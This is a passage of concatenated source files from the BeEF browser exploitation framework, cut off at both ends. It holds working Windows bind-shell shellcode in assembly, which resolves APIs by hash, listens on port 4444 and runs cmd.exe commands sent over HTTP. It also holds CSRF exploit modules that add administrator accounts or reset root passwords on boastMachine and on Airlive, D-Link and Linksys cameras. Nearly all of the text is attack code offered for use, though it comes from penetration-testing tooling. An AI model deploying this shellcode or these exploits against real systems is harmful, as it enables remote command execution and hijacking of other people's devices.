      mov ebx, [eax+32]      ; Get the rva of the function names
      add ebx, edx           ; Add the modules base address
      ; Computing the module hash + function hash
    get_next_func:           ;
      jecxz get_next_mod     ; When we reach the start of the EAT (we search backwards), process the next module
      dec ecx                ; Decrement the function name counter
      mov esi, [ebx+ecx*4]   ; Get rva of next module name
      add esi, edx           ; Add the modules base address
      xor edi, edi           ; Clear EDI which will store the hash of the function name
      ; And compare it to the one we want
    loop_funcname:           ;
      xor eax, eax           ; Clear EAX
      lodsb                  ; Read in the next byte of the ASCII function name
      ror edi, 13            ; Rotate right our hash value
      add edi, eax           ; Add the next byte of the name
      cmp al, ah             ; Compare AL (the next byte from the name) to AH (null)
      jne loop_funcname      ; If we have not reached the null terminator, continue
      add edi, [ebp-8]       ; Add the current module hash to the function hash
      cmp edi, [ebp+36]      ; Compare the hash to the one we are searchnig for 
      jnz get_next_func      ; Go compute the next function hash if we have not found it
      ; If found, fix up stack, call the function and then value else compute the next one...
      pop eax                ; Restore the current modules EAT
      mov ebx, [eax+36]      ; Get the ordinal table rva      
      add ebx, edx           ; Add the modules base address
      mov cx, [ebx+2*ecx]    ; Get the desired functions ordinal
      mov ebx, [eax+28]      ; Get the function addresses table rva  
      add ebx, edx           ; Add the modules base address
      mov eax, [ebx+4*ecx]   ; Get the desired functions RVA
      add eax, edx           ; Add the modules base address to get the functions actual VA
      ; We now fix up the stack and perform the call to the desired function...
    finish:
      mov [esp+36], eax      ; Overwrite the old EAX value with the desired api address for the upcoming popad
      pop ebx                ; Clear off the current modules hash
      pop ebx                ; Clear off the current position in the module list
      popad                  ; Restore all of the callers registers, bar EAX, ECX and EDX which are clobbered
      pop ecx                ; Pop off the origional return address our caller will have pushed
      pop edx                ; Pop off the hash value our caller will have pushed
      push ecx               ; Push back the correct return value
      jmp eax                ; Jump into the required function
      ; We now automagically return to the correct caller...
    get_next_mod:            ;
      pop eax                ; Pop off the current (now the previous) modules EAT
    get_next_mod1:           ;
      pop edi                ; Pop off the current (now the previous) modules hash
      pop edx                ; Restore our position in the module list
      mov edx, [edx]         ; Get the next module
      jmp short next_mod     ; Process this module
    
    ================================================
    FILE: modules/exploits/beefbind/shellcode_sources/windows/src/block_beef_bind-stage.asm
    ================================================
    ;-----------------------------------------------------------------------------;
    ; Author: Ty Miller @ Threat Intelligence
    ; Compatible: Windows 7, 2008, Vista, 2003, XP, 2000, NT4
    ; Version: 1.0 (2nd December 2011)
    ;-----------------------------------------------------------------------------;
    [BITS 32]
    
    ;INPUT: EBP is block_api.
    
    %include "src/block_virtualalloc.asm"
    			 ; Input: None
    			 ; Output: EAX holds pointer to the start of buffer 0x1000 bytes, EBX holds value 0x1000
    			 ; Clobbers: EAX, EBX, ECX, EDX
    
      mov esi, eax		 ; point esi to start of buffer, used as pseudo-frame pointer
    
    %include "src/block_pipes.asm"
    			 ; Create pipes to redirect stage stdin, stdout, stderr
    			 ; Input: EBP is api_call
    			 ; Output:
    			 ;       esp+00  child stdin  read  file descriptor (inherited)
    			 ;       esp+04  child stdin  write file descriptor (not inherited)
    			 ;       esp+08  child stdout read  file descriptor (not inherited)
    			 ;       esp+12  child stdout write file descriptor (inherited)
    			 ;       esp+16  lpPipeAttributes structure (not used after block - 12 bytes)
    			 ; Clobbers: EAX, EBX, ECX, EDI, ESP will decrement by 28 bytes
    
      mov edi,esi		 ; save esi since it gets clobbered
    
    %include "src/block_shell_pipes.asm"
    			 ; Create process with redirected stdin, stdout, stderr to our pipes
    			 ; Input:
    			 ;       EBP is api_call
    			 ;       esp+00  child stdin  read  file descriptor (inherited)
    			 ;       esp+04  not used
    			 ;       esp+08  not used
    			 ;       esp+12  child stdout write file descriptor (inherited)
    			 ; Output: None.
    			 ; Clobbers: EAX, EBX, ECX, EDX, ESI, ESP will also be modified
    
      mov esi,edi		 ; restore esi
    
    ReadLoop:		 ; Read output from the child process
    
    clear_buffer:
      mov ecx,0xFF8		 ; zero output buffer starting at esi+8 with 0xFF8 nulls
      lea eax,[esi+8]	 ; point eax to start of command/output buffer
    zero_buffer:            
      mov byte [eax],0	 ; push a null dword
      inc eax		 ; point to the next byte in the buffer
      loop zero_buffer	 ; keep looping untill we have zeroed the buffer
    
    
    response_headers:
      push esi		 ; save pointer to start of buffer
      lea edi,[esi+1048]	 ; set pointer to output buffer
      call get_headers       ; locate the static http response headers
      db 'HTTP/1.1 200 OK', 0x0d, 0x0a, 'Content-Type: text/html', 0x0d, 0x0a, 'Access-Control-Allow-Origin: *', 0x0d, 0x0a, 'Content-Length: 3016', 0x0d, 0x0a, 0x0d, 0x0a
    get_headers:
      pop esi		 ; get pointer to response headers into esi
      mov ecx, 98            ; length of http response headers
      rep movsb              ; move the http headers into the buffer
      pop esi		 ; restore pointer to start of buffer
    
    
    bind_port:
      push esi		 ; save buffer pointer onto stack
    %include "src/block_bind_tcp.asm"       ;by here we will have performed the bind_tcp connection to setup our external web socket
    			 ; Input: EBP must be the address of 'api_call'.
    			 ; Output: EDI will be the newly connected clients socket
    			 ; Clobbers: EAX, EBX, ESI, EDI, ESP will also be modified (-0x1A0)
    
      add esp, 0x1A0	 ; restore stack pointer
      pop esi		 ; restore buffer pointer
      mov [esi], edi	 ; save external socket to buffer
    
    
    recv:                    ; Receive the web request - must be a post request with command ending with a new line character
      push byte 0            ; flags
      push 0x400             ; allocated space for command (512 bytes)
      mov ebx, esi           ; start of our request/response memory buffer
      add ebx, 8		 ; start of our allocated command space
      push ebx               ; start of our allocated command space
      push dword [esi]       ; external socket
      push 0x5FC8D902        ; hash( "ws2_32.dll", "recv" )
      call ebp               ; recv( external_socket, buffer, size, 0 );
    
    find_cmd:  		 ; Search for "cmd=" in the web request
      mov edx, [esp+0x64]    ; stage stdin read file descriptor (40)
      mov ecx, 0x400         ; set ecx to be our buffer counter
    next:
      cmp dword [ebx], 0x3d646d63   ; check if ebx points to "cmd="
      jz cmd_found           ; if we found "cmd=" then parse the command
      inc ebx                ; point ebx to next char in request data
      dec ecx                ; dec our buffer counter
      jecxz read_file_check  ; if our counter is 0 then we found no command, so recv more data
      jmp short next         ; check next location for "cmd="
    cmd_found:               ; now pointing to start of our command - MAY fail if the command is cut off
      add ebx, 0x03          ; starts off pointing at "cmd=" so add 3 (plus  inc eax below) to point to command
    
    next_cmd_char:
      inc ebx                ; move our command string pointer up one character
      push ebx               ; save command pointer to the stack
    
    write_file:
      push 0		 ; pOverlapped = NULL
      lea edi,[esi+1040]	 ; 4 bytes for bytes written
      push edi		 ; pBytesWritten
      push 1		 ; nBytesToWrite
      push ebx		 ; command string in buffer
      mov ebx,[esp+70h]	 ; Child stdin
      push ebx		 ; child stdin
      push 0x5BAE572D	 ; hash(kernel32.dll, WriteFile)
      call ebp		 ; WriteFile
    
      pop ebx                ; restore command pointer from the stack
      cmp byte [ebx], 0x0a   ; check if we have just sent a new line
      jnz next_cmd_char      ; if we haven't finished sending the cmd then send the next char, else we want to read the cmd output from internal stage socket
    
    
    %include "src/block_sleep.asm"
    			 ; Input: None
    			 ; Output: None. Sleeps for x seconds
    			 ; Clobbers: None
    
    read_file_check:
      xor eax, eax		 ; zero eax
      push eax		 ; lpBytesLeftThisMessage
      lea ebx,[esi+4]	 ; address to output the result - num bytes available to read
      push ebx		 ; lpTotalBytesAvail
      push eax		 ; lpBytesRead
      push eax		 ; nBufferSize
      push eax		 ; lpBuffer
      lea ebx,[esp+74h]	 ; child stdout read address
      mov ebx, [ebx]	 ; child stdout read file descriptor
      push ebx               ; hNamedPipe
      push 0xB33CB718	 ; hash(kernel32.dll,PeekNamedPipe)
      call ebp		 ; PeekNamedPipe
    
      test eax, eax		 ; check the function return correctly
      jz close_handle	 ; no, then close the connection and start again
      mov eax, [esi+4]	 ; Grab the number of bytes available
      test eax, eax		 ; check for no bytes to read
      jz close_handle	 ; no, then close the connection and start again
    
    read_file:
      push 0                 ; pOverlapped = NULL
      lea edi,[esi+1044]     ; output: number of bytes read
      push edi               ; pBytesRead
      push 0xB86             ; BytesToRead: remaining space in our allocated buffer
      ;lea edi,[esi+1114]     ; start of remaining space in buffer after response headers
      lea edi,[esi+1146]     ; start of remaining space in buffer after response headers
      push edi               ; start of remaining space in buffer after response headers
      lea ebx,[esp+70h]	 ; child stdout read address
      mov ebx, [ebx]	 ; child stdout read file descriptor
      push ebx               ; hFile: child stdout address
      push 0xBB5F9EAD	 ; hash(kernel32.dll,ReadFile)
      call ebp               ; ReadFile
    
    
    send_output:             ; send buffer to the external socket
      push byte 0            ; flags
      push 0xBE8             ; len
      lea edi,[esi+1048]     ; start of output buffer
      push edi               ; pointer to buffer
      push dword [esi]       ; external socket
      push 0x5F38EBC2        ; hash ( "ws2_32.dll", "send" )
      call ebp               ; send(external_socket, *buf, len, flags);
    
    
    close_handle:
      push dword [esi]	 ; hObject: external socket
      push 0x528796C6	 ; hash(kernel32.dll,CloseHandle)
      call ebp		 ; CloseHandle
    
      jmp ReadLoop
    
    
    
    ================================================
    FILE: modules/exploits/beefbind/shellcode_sources/windows/src/block_beef_bind-stager.asm
    ================================================
    ;-----------------------------------------------------------------------------;
    ; Author: Ty Miller @ Threat Intelligence
    ; Compatible: Windows 7, 2008, Vista, 2003, XP, 2000, NT4
    ; Version: 1.0 (2nd December 2011)
    ;-----------------------------------------------------------------------------;
    [BITS 32]
    
    ;INPUT: EBP is block_api.
    
    %include "src/block_bind_tcp.asm"       ;by here we will have performed the bind_tcp connection to setup our external web socket
    			 ; Input: EBP must be the address of 'api_call'.
    			 ; Output: EDI will be the newly connected clients socket
    			 ; Clobbers: EAX, EBX, ESI, EDI, ESP will also be modified (-0x1A0)
    
    %include "src/block_virtualalloc.asm"
    			 ; Input: None
    			 ; Output: EAX holds pointer to the start of buffer 0x1000 bytes, EBX has value 0x1000
    			 ; Clobbers: EAX, EBX, ECX, EDX
    
      mov esi, eax		 ; save pointer to buffer since eax gets clobbered
    
    recv:                    ; Receive the web request containing the stage
      push byte 0		 ; flags
      push ebx		 ; allocated space for stage
      push eax		 ; start of our allocated command space
      push edi		 ; external socket
      push 0x5FC8D902        ; hash( "ws2_32.dll", "recv" )
      call ebp               ; recv( external_socket, buffer, size, 0 );
    
    
    close_handle:
      push edi		 ; hObject: external socket
      push 0x528796C6	 ; hash(kernel32.dll,CloseHandle)
      call ebp		 ; CloseHandle
    
    find_cmd:		 ; Search for "cmd=" in the web request for our payload
      cmp dword [esi], 0x3d646d63   ; check if ebx points to "cmd="
      jz cmd_found           ; if we found "cmd=" then parse the command
      inc esi                ; point ebx to next char in request data
      jmp short find_cmd     ; check next location for "cmd="
    cmd_found:               ; now pointing to start of our command - MAY fail if the command is cut off
    ;  add esi,4              ; starts off pointing at "cmd=" so add 3 (plus  inc eax below) to point to command ... this compiles to 6 byte opcode
      db 0x83, 0xC6, 0x04	 ; add esi,4 ... but only 3 byte opcode
    
      jmp esi		 ; jump to our stage payload
    
    
    
    
    ================================================
    FILE: modules/exploits/beefbind/shellcode_sources/windows/src/block_bind_tcp.asm
    ================================================
    ;-----------------------------------------------------------------------------;
    ; Author: Stephen Fewer (stephen_fewer@harmonysecurity.com)
    ; Compatible: Windows 7, 2008, Vista, 2003, XP, 2000, NT4
    ; Version: 1.0 (24 July 2009)
    ;-----------------------------------------------------------------------------;
    [BITS 32]
    
    ; Input: EBP must be the address of 'api_call'.
    ; Output: EDI will be the newly connected clients socket
    ; Clobbers: EAX, EBX, ESI, EDI, ESP will also be modified (-0x1A0)
    
    bind_tcp:
      push 0x00003233        ; Push the bytes 'ws2_32',0,0 onto the stack.
      push 0x5F327377        ; ...
      push esp               ; Push a pointer to the "ws2_32" string on the stack.
      push 0x0726774C        ; hash( "kernel32.dll", "LoadLibraryA" )
      call ebp               ; LoadLibraryA( "ws2_32" )
      
      mov eax, 0x0190        ; EAX = sizeof( struct WSAData )
      sub esp, eax           ; alloc some space for the WSAData structure
      push esp               ; push a pointer to this stuct
      push eax               ; push the wVersionRequested parameter
      push 0x006B8029        ; hash( "ws2_32.dll", "WSAStartup" )
      call ebp               ; WSAStartup( 0x0190, &WSAData );
      
      push eax               ; if we succeed, eax wil be zero, push zero for the flags param.
      push eax               ; push null for reserved parameter
      push eax               ; we do not specify a WSAPROTOCOL_INFO structure
      push eax               ; we do not specify a protocol
      inc eax                ;
      push eax               ; push SOCK_STREAM
      inc eax                ;
      push eax               ; push AF_INET
      push 0xE0DF0FEA        ; hash( "ws2_32.dll", "WSASocketA" )
      call ebp               ; WSASocketA( AF_INET, SOCK_STREAM, 0, 0, 0, 0 );
      xchg edi, eax          ; save the socket for later, don't care about the value of eax after this
      
      xor ebx, ebx           ; Clear EBX
      push ebx               ; bind to 0.0.0.0
      push 0x5C110002        ; family AF_INET and port 4444
      mov esi, esp           ; save a pointer to sockaddr_in struct
      push byte 16           ; length of the sockaddr_in struct (we only set the first 8 bytes as the last 8 are unused)
      push esi               ; pointer to the sockaddr_in struct
      push edi               ; socket
      push 0x6737DBC2        ; hash( "ws2_32.dll", "bind" )
      call ebp               ; bind( s, &sockaddr_in, 16 );
    
      push ebx               ; backlog
      push edi               ; socket
      push 0xFF38E9B7        ; hash( "ws2_32.dll", "listen" )
      call ebp               ; listen( s, 0 );
    
      push ebx               ; we set length for the sockaddr struct to zero
      push ebx               ; we dont set the optional sockaddr param
      push edi               ; listening socket
      push 0xE13BEC74        ; hash( "ws2_32.dll", "accept" )
      call ebp               ; accept( s, 0, 0 );
      
      push edi               ; push the listening socket to close
      xchg edi, eax          ; replace the listening socket with the new connected socket for further comms
      push 0x614D6E75        ; hash( "ws2_32.dll", "closesocket" )
      call ebp               ; closesocket( s );
      
    
    
    ================================================
    FILE: modules/exploits/beefbind/shellcode_sources/windows/src/block_pipes.asm
    ================================================
    ;-----------------------------------------------------------------------------;
    ; Author: Ty Miller @ Threat Intelligence
    ; Compatible: Windows 7, 2008, Vista, 2003, XP, 2000, NT4
    ; Version: 1.0 (2nd December 2011)
    ;-----------------------------------------------------------------------------;
    [BITS 32]
    
    ; Input: EBP is api_call
    ; Output:
    ;       esp+00	child stdin  read  file descriptor (inherited)
    ;       esp+04	child stdin  write file descriptor (not inherited)
    ;       esp+08	child stdout read  file descriptor (not inherited)
    ;       esp+12	child stdout write file descriptor (inherited)
    ;       esp+16	lpPipeAttributes structure (not used after block - 12 bytes)
    ; Clobbers: EAX, EBX, ECX, EDI, ESP will decrement by 28 bytes
    
      push 1		 ; create lpPipeAtrributes structure on stack so pipe handles are inherited
      push 0
      push 0x0C
    
    create_pipe_stdout:
      push 0		 ; allocate space on stack for child stdout file descriptor
      mov ebx, esp		 ; save location of where the child stdout Write file descriptor will be
      push 0		 ; allocate space on stack for child stdout file descriptor
      mov ecx, esp		 ; save location of where the child stdout Read file descriptor will be
    
      push 0                 ; nSize
      lea edi,[esp+12]	 ; lpPipeAttributes - inherited
      push edi
      push ebx               ; stdout write file descriptor
      push ecx               ; stdout read file descriptor
      push 0x0EAFCF3E        ; hash ( "kernel.dll", "CreatePipe" )
      call ebp               ; CreatePipe( Read, Write, 0, 0 )
    
    create_pipe_stdin:
      push 0		; allocate space on stack for child stdout file descriptor
      mov ebx, esp		; save location of where the child stdout Write file descriptor will be
      push 0		; allocate space on stack for child stdout file descriptor
      mov ecx, esp		; save location of where the child stdout Read file descriptor will be
    
      push 0                 ; nSize
      lea edi,[esp+20]	 ; lpPipeAttributes - inherited
      push edi
      push ebx               ; stdout write file descriptor
      push ecx               ; stdout read file descriptor
      push 0x0EAFCF3E        ; hash ( "kernel.dll", "CreatePipe" )
      call ebp               ; CreatePipe( Read, Write, 0, 0 )
    
    no_inherit_read_handle:	 ; ensure read and write handles to child proc pipes for are not inherited
      mov ebx,[esp+8] 
      push 0
      push 1
      push ebx		 ; hChildStdoutRd is the address we set in the CreatePipe call
      push 0x1CD313CA	 ; hash(kernel32.dll, SetHandleInformation)
      call ebp		 ; SetHandleInformation
    
    no_inherit_write_handle:
      mov ebx,[esp+4]
      push 0
      push 1
      push ebx		 ; hChildStdinRw is the address we set in the CreatePipe call
      push 0x1CD313CA	 ; hash(kernel32.dll, SetHandleInformation)
      call ebp	 	 ; SetHandleInformation
    
    
    
    ================================================
    FILE: modules/exploits/beefbind/shellcode_sources/windows/src/block_shell_pipes.asm
    ================================================
    ;-----------------------------------------------------------------------------;
    ; Author: Ty Miller @ Threat Intelligence
    ; Credits: Some code borrowed from block_shell.asm; Stephen Fewer
    ; Compatible: Windows 7, 2008, Vista, 2003, XP, 2000, NT4
    ; Version: 1.0 (2nd December 2011)
    ;-----------------------------------------------------------------------------;
    [BITS 32]
    
    ; Input:
    ;	EBP is api_call
    ;       esp+00  child stdin  read  file descriptor (inherited)
    ;       esp+04  not used
    ;       esp+08  not used
    ;       esp+12  child stdout write file descriptor (inherited)
    ; Output: None.
    ; Clobbers: EAX, EBX, ECX, EDX, ESI, ESP will also be modified
    
    shell:
      push 0x00646D63        ; push our command line: 'cmd',0
      mov ebx, esp           ; save a pointer to the command line
      push dword [esp+16]	 ; child stdout write file descriptor for process stderr
      push dword [esp+20]	 ; child stdout write file descriptor for process stdout
      push dword [esp+12]	 ; child stdin read file descriptor for process stdout
      xor esi, esi           ; Clear ESI for all the NULL's we need to push
      push byte 18           ; We want to place (18 * 4) = 72 null bytes onto the stack
      pop ecx                ; Set ECX for the loop
    push_loop:               ;
      push esi               ; push a null dword
      loop push_loop         ; keep looping until we have pushed enough nulls
      mov word [esp + 60], 0x0101 ; Set the STARTUPINFO Structure's dwFlags to STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW
      lea eax, [esp + 16]    ; Set EAX as a pointer to our STARTUPINFO Structure
      mov byte [eax], 68     ; Set the size of the STARTUPINFO Structure
      ; perform the call to CreateProcessA
      push esp               ; Push the pointer to the PROCESS_INFORMATION Structure 
      push eax               ; Push the pointer to the STARTUPINFO Structure
      push esi               ; The lpCurrentDirectory is NULL so the new process will have the same current directory as its parent
      push esi               ; The lpEnvironment is NULL so the new process will have the same environment as its parent
      push esi               ; We don't specify any dwCreationFlags 
      inc esi                ; Increment ESI to be one
      push esi               ; Set bInheritHandles to TRUE in order to inheritable all possible handle from the parent
      dec esi                ; Decrement ESI back down to zero
      push esi               ; Set lpThreadAttributes to NULL
      push esi               ; Set lpProcessAttributes to NULL
      push ebx               ; Set the lpCommandLine to point to "cmd",0
      push esi               ; Set lpApplicationName to NULL as we are using the command line param instead
      push 0x863FCC79        ; hash( "kernel32.dll", "CreateProcessA" )
      call ebp               ; CreateProcessA( 0, &"cmd", 0, 0, TRUE, 0, 0, 0, &si, &pi );
      ; perform the call to WaitForSingleObject
    ;  mov eax, esp           ; save pointer to the PROCESS_INFORMATION Structure
    ;  dec esi                ; Decrement ESI down to -1 (INFINITE)
    ;  push esi               ; push INFINITE inorder to wait forever
    ;  inc esi                ; Increment ESI back to zero
    ;  push dword [eax]       ; push the handle from our PROCESS_INFORMATION.hProcess
    ;  push 0x601D8708        ; hash( "kernel32.dll", "WaitForSingleObject" )
    ;  call ebp               ; WaitForSingleObject( pi.hProcess, INFINITE );
    
    
    
    ================================================
    FILE: modules/exploits/beefbind/shellcode_sources/windows/src/block_sleep.asm
    ================================================
    ;-----------------------------------------------------------------------------;
    ; Author: Ty Miller @ Threat Intelligence
    ; Compatible: Windows 7, 2008, Vista, 2003, XP, 2000, NT4
    ; Version: 1.0 (2nd December 2011)
    ;-----------------------------------------------------------------------------;
    [BITS 32]
    
    ; Input: None
    ; Output: None. Sleeps for specified seconds.
    ; Clobbers: None
    
      push 1000                       ; milliseconds
      push 0xE035F044                 ; hash (kernel32.dll, Sleep)
      call ebp                        ; Sleep(1000ms)
    
    
    
    ================================================
    FILE: modules/exploits/beefbind/shellcode_sources/windows/src/block_virtualalloc.asm
    ================================================
    ;-----------------------------------------------------------------------------;
    ; Author: Ty Miller @ Threat Intelligence
    ; Compatible: Windows 7, 2008, Vista, 2003, XP, 2000, NT4
    ; Version: 1.0 (2nd December 2011)
    ;-----------------------------------------------------------------------------;
    [BITS 32]
    
    ; Input: None
    ; Output: EAX holds pointer to the start of buffer 0x1000 bytes, EBX holds value 0x1000
    ; Clobbers: EAX, EBX, ECX, EDX
    
      mov ebx,0x1000	 ; setup our flags and buffer size in ebx
    allocate_memory:         ; Alloc a buffer for the request and response data
      push byte 0x40         ; PAGE_EXECUTE_READWRITE - don't need execute but may as well
      push ebx               ; MEM_COMMIT
      push ebx               ; size of memory to be allocated (4096 bytes)
      push byte 0            ; NULL as we dont care where the allocation is
      push 0xE553A458        ; hash( "kernel32.dll", "VirtualAlloc" )
      call ebp               ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE );
    
    
    
    ================================================
    FILE: modules/exploits/boastmachine_3_1_add_user_csrf/command.js
    ================================================
    //
    // Copyright (c) 2006-2026Wade Alcorn - wade@bindshell.net
    // Browser Exploitation Framework (BeEF) - https://beefproject.com
    // See the file 'doc/COPYING' for copying permission
    //
    
    beef.execute(function() {
    	var base     = '<%= @base %>'; 
    	var username = '<%= @username %>';
    	var password = '<%= @password %>';
    	var email    = '<%= @email %>';
    
    	var boastmachine_iframe = beef.dom.createIframeXsrfForm(base, "POST", "application/x-www-form-urlencoded", [
    		{'type':'hidden', 'name':'action',     'value':'add_user'},
    		{'type':'hidden', 'name':'do',         'value':'add'},
    		{'type':'hidden', 'name':'user_login', 'value':username},
    		{'type':'hidden', 'name':'user_pass',  'value':password},
    		{'type':'hidden', 'name':'user_name',  'value':username},
    		{'type':'hidden', 'name':'user_email', 'value':email},
    		{'type':'hidden', 'name':'blogs[]',    'value':'4'},
    		{'type':'hidden', 'name':'user_level', 'value':'4'},
    	]);
    
    	beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=exploit attempted");
    
    	cleanup = function() {
    		document.body.removeChild(boastmachine_iframe);
    	}
    	setTimeout("cleanup()", 15000);
    
    });
    
    
    
    ================================================
    FILE: modules/exploits/boastmachine_3_1_add_user_csrf/config.yaml
    ================================================
    #
    # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net
    # Browser Exploitation Framework (BeEF) - https://beefproject.com
    # See the file 'doc/COPYING' for copying permission
    #
    beef:
        module:
            boastmachine_add_user_csrf:
                enable: true
                category: "Exploits"
                name: "boastMachine <= 3.1 Add User CSRF"
                description: "Attempts to add a user to a boastMachine <= 3.1 install."
                authors: ["bcoles", "Dr.NaNo"]
                target:
                    unknown: ["ALL"]
    
    
    ================================================
    FILE: modules/exploits/boastmachine_3_1_add_user_csrf/module.rb
    ================================================
    #
    # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net
    # Browser Exploitation Framework (BeEF) - https://beefproject.com
    # See the file 'doc/COPYING' for copying permission
    #
    class Boastmachine_add_user_csrf < BeEF::Core::Command
      def self.options
        [
          { 'name' => 'base', 'ui_label' => 'boastMachine URL', 'value' => 'http://target/bmc/admin.php?action=add_user&blog' },
          { 'name' => 'username', 'ui_label' => 'Username', 'value' => 'username' },
          { 'name' => 'password', 'ui_label' => 'Password', 'value' => 'password' },
          { 'name' => 'email', 'ui_label' => 'E-mail Address', 'value' => 'email@example.com' }
        ]
      end
    
      def post_execute
        save({ 'result' => @datastore['result'] })
      end
    end
    
    
    ================================================
    FILE: modules/exploits/camera/airlive_ip_camera_csrf/command.js
    ================================================
    //
    // Copyright (c) 2006-2026Wade Alcorn - wade@bindshell.net
    // Browser Exploitation Framework (BeEF) - https://beefproject.com
    // See the file 'doc/COPYING' for copying permission
    //
    
    beef.execute(function() {
      var base  = '<%= @base %>'; 
      var path  = 'cgi-bin/admin/usrgrp.cgi';
      var user  = '<%= @user %>';
      var pass  = '<%= @pass %>';
    
      var airlive_ip_camera_iframe_<%= @command_id %> = beef.dom.createIframeXsrfForm(base + path, "GET", "application/x-www-form-urlencoded",
        [{'type':'hidden', 'name':'user',     'value':user},
         {'type':'hidden', 'name':'pwd',      'value':pass},
         {'type':'hidden', 'name':'grp',      'value':'administrator'},
         {'type':'hidden', 'name':'sgrp',     'value':'ptz'},
         {'type':'hidden', 'name':'action',   'value':'add'},
         {'type':'hidden', 'name':'redirect', 'value':''}
        ]);
    
      beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=exploit attempted");
    
      cleanup = function() {
        document.body.removeChild(airlive_ip_camera_iframe_<%= @command_id %>);
      }
      setTimeout("cleanup()", 15000);
    
    });
    
    
    
    ================================================
    FILE: modules/exploits/camera/airlive_ip_camera_csrf/config.yaml
    ================================================
    #
    # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net
    # Browser Exploitation Framework (BeEF) - https://beefproject.com
    # See the file 'doc/COPYING' for copying permission
    #
    # For more information see:
    # http://www.exploit-db.com/exploits/26174/
    ##
    beef:
        module:
            airlive_add_user_csrf:
                enable: true
                category: ["Exploits", "Camera"]
                name: "Airlive Add User CSRF"
                description: "Attempts to add an admin user on a Airlive camera.

    This CSRF is reported to work on the following models: POE2600HD, POE250HD, POE200HD, OD-325HD, OD-2025HD, OD-2060HD, POE100HD.

    Note: This module has not been tested on a real device." authors: ["bcoles", "Eliezer Varadé Lopez", "Javier Repiso Sánchez", "Jonás Ropero Castillo"] target: unknown: ["ALL"] ================================================ FILE: modules/exploits/camera/airlive_ip_camera_csrf/module.rb ================================================ # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # class Airlive_add_user_csrf < BeEF::Core::Command def self.options [ { 'name' => 'base', 'ui_label' => 'Router web root', 'value' => 'http://192.168.0.1/' }, { 'name' => 'user', 'ui_label' => 'Desired username', 'value' => 'beef' }, { 'name' => 'pass', 'ui_label' => 'Desired password', 'value' => '__BeEF__' } ] end def post_execute save({ 'result' => @datastore['result'] }) end end ================================================ FILE: modules/exploits/camera/dlink_dcs_series_csrf/command.js ================================================ // // Copyright (c) 2006-2026Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - https://beefproject.com // See the file 'doc/COPYING' for copying permission // beef.execute(function() { var base = '<%= @base %>'; var passwd = '<%= @password %>'; var dlink_dcs_iframe = beef.dom.createInvisibleIframe(); var form = document.createElement('form'); form.setAttribute('action', base + "/setup/security.cgi"); form.setAttribute('method', 'post'); var input = null; input = document.createElement('input'); input.setAttribute('type', 'hidden'); input.setAttribute('name', 'rootpass'); input.setAttribute('value', passwd); form.appendChild(input); input = document.createElement('input'); input.setAttribute('type', 'hidden'); input.setAttribute('name', 'confirm'); input.setAttribute('value', passwd); form.appendChild(input); dlink_dcs_iframe.contentWindow.document.body.appendChild(form); form.submit(); beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=exploit attempted"); cleanup = function() { document.body.removeChild(dlink_dcs_iframe); } setTimeout("cleanup()", 15000); }); ================================================ FILE: modules/exploits/camera/dlink_dcs_series_csrf/config.yaml ================================================ # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # # More info: http://www.exploit-db.com/exploits/18509/ # beef: module: Dlink_dcs_series_csrf: enable: true category: ["Exploits", "Camera"] name: "Dlink DCS series CSRF" description: "Attempts to change the password on a Dlink DCS series camera." authors: ["bcoles"] target: working: ["ALL"] ================================================ FILE: modules/exploits/camera/dlink_dcs_series_csrf/module.rb ================================================ # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # class Dlink_dcs_series_csrf < BeEF::Core::Command def self.options [ { 'name' => 'base', 'ui_label' => 'Camera web root', 'value' => 'http://192.168.0.1/' }, { 'name' => 'password', 'ui_label' => 'Desired password', 'value' => '__BeEF__' } ] end def post_execute save({ 'result' => @datastore['result'] }) end end ================================================ FILE: modules/exploits/camera/linksys_wvc_wireless_camera_csrf/command.js ================================================ // // Copyright (c) 2006-2026Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - https://beefproject.com // See the file 'doc/COPYING' for copying permission // beef.execute(function() { var gateway = '<%= @base %>'; var path = 'adm/file.cgi'; var passwd = '<%= @password %>'; var linksys_wvc_iframe = beef.dom.createIframeXsrfForm(gateway + path, "POST", "application/x-www-form-urlencoded", [{'type':'hidden', 'name':'adm', 'value':'admin'}, {'type':'hidden', 'name':'admpw', 'value':passwd}, {'type':'hidden', 'name':'admpwv', 'value':passwd}, {'type':'hidden', 'name':'language', 'value':'1'}, {'type':'hidden', 'name':'h_usernamelist', 'value':''}, {'type':'hidden', 'name':'h_language', 'value':'1'}, {'type':'hidden', 'name':'h_lang_from_mac','value':''}, {'type':'hidden', 'name':'this_file', 'value':'pass_wd.htm'}, {'type':'hidden', 'name':'next_file', 'value':'pass_wd.htm'}, {'type':'hidden', 'name':'todo', 'value':'save'}, {'type':'hidden', 'name':'video_file', 'value':''}, {'type':'hidden', 'name':'', 'value':'Submit form'} ]); beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=exploit attempted"); cleanup = function() { document.body.removeChild(linksys_wvc_iframe); } setTimeout("cleanup()", 15000); }); ================================================ FILE: modules/exploits/camera/linksys_wvc_wireless_camera_csrf/config.yaml ================================================ # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # beef: module: linksys_wvc_wireless_camera_csrf: enable: true category: ["Exploits", "Camera"] name: "Linksys WVC series CSRF" description: "Attempts to change the admin password on a Linksys WVCseries wireless camera." authors: ["bcoles", "n0x00"] target: working: ["ALL"] ================================================ FILE: modules/exploits/camera/linksys_wvc_wireless_camera_csrf/module.rb ================================================ # # Copyright (c) 2006-2026 Wade 